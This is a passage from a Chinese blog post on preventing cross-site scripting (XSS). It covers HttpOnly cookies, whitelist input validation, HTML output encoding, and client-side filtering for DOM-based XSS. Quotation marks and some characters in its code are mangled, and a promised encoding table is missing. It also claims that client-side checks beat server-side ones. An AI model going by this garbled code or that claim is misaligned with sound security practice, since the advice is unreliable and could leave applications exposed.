&&& setcookie(&user&, &admin&, NULL, NULL, NULL, NULL, TRUE);&
通过以上代码就可以设置user这个cookie，将其设置为HttpOnly，setcookie函数实质是通过向客户端发送原始的HTTP报文头进行设置的，document将不可见这个Cookie，所以使用document.cookie就取不到这个Cookie，也就是先了对Cookie的保护。
&完善的输入和输出检查
由于三种XSS跨站脚本攻击类型的漏洞成因可不相同，针对输入输出的检查一部分适用于反射型XSS与存储型XSS，而另外一些检查适用于基于DOM的XSS。
A.&防范反射型XSS和存储型XSS
输入检查在大多数的时候都是对可信字符的检查或输入数据&#26684;式的检查，如用户输入的注册账号信息中只允许包括字母、数字、下划线和汉字等，对于输入的一切非白名单内的字符均认为是非法输入。数据&#26684;式如输入的IP地址、电话号码、邮件地址、日期等数据都具有一定的&#26684;式规范，只有符合数据规范的输入信息才允许通过检查。
输出检查主要是针对数据展示过程中，应该对数据信息进行HTML编码处理，将可能存在导致XSS跨站脚本攻击的恶意字符进行编码，在不影响正常数据显示的前提条件下，过滤恶意字符。常见的可能造成XSS跨站脚本攻击的字符及其HTML编码如下：
除了常用的编码外，任何字符都可以使用其ASCII码进行HTML编码，如
&&&&%&&#37;
&&&&*&&#42;
B.&防范基于DOM的XSS
从基于DOM的XSS的定义及其触发方式我们发现，当基于DOM的XSS跨站脚本攻击发生时，恶意数据的&#26684;式与传统的XSS跨站脚本攻击数据&#26684;式有一定的差异，甚至可以在不经过服务器端的处理和相应的情况下，直接对客户端实施攻击行为，因此上述我们应用于防范反射型XSS和存储型XSS的方法并不适用于防范基于DOM的XSS跨站脚本攻击。
针对基于DOM的XSS防范的输入检查方法，我们发现在客户端部署相应的安全检测代码的过滤效果要比在服务器端检测的效果更加明显。例如，我们可以通过如下客户端检测代码来保证用户输入的数据只包含字母、数字和空&#26684;，代码如下：
var str = document.URL;
str = str.substring(str.indexOf(&username=&)&#43;9, str.length);
str = unescape(str);
var regex=/^([A-Za-z0-9&#43;\s])*$/;
if (regex.test(str))
&document.write(str);
同样，我们也可以通过在服务端实现类&#20284;上述数据检查的功能，如在服务器端检测URL参数是否为预定的参数username,并对username参数的内容进行检测，确认数据内容是否为只包含数字、字母和空&#26684;符，实现服务端的数据过滤。但是，由于客户端数据的可控性，这种服务端检测的效果要明显弱于客户端检测。
基于DOM的XSS输出检查与反射型XSS漏洞输出检查的方法相&#20284;，在将用户可控的DOM数据内容插入到文档之前，Web应用程序应对提交的数据进行HTML编码处理，将用户提交的数据中可能存在的各种危险字符和表达式进行过滤以安全的方式插入到文档中进行展现，如可以通过如下函数实现在客户端javascript中执行HTML编码处理。
function jsEncode(str)
&var d = document.createElement('div');
&d.appendChild(document.createTextNode(str));
&return d.innerHTML;
XSS跨站脚本攻击作为Web应用安全领域中最大威胁之一，不仅仅危害Web应用业务的正常运营，对访问Web应用业务的客户端环境和用户也带来了直接安全影响。虽然XSS跨站脚本攻击在复杂的Web应用环境中利用方式千变万化，但是网络安全人员通过对Web应用的各种环境进行详细分析和处理，完全阻断XSS跨站脚本攻击是可以实现的。如何有效防范和阻止XSS跨站脚本攻击，保障Web应用系统的业务安全和正常运营，保护客户端用户免受XSS跨站脚本攻击行为的侵害，是Web应用系统管理人员和网络安全产品开发人员的共同职责。
参考知识库
* 以上用户言论只代表其个人观点，不代表CSDN网站的观点或立场
访问：61696次
排名：千里之外
原创：21篇
转载：19篇
评论：17条
(1)(1)(1)(1)(1)(5)(2)(2)(2)(2)(1)(2)(1)(1)(6)(9)(2)(1)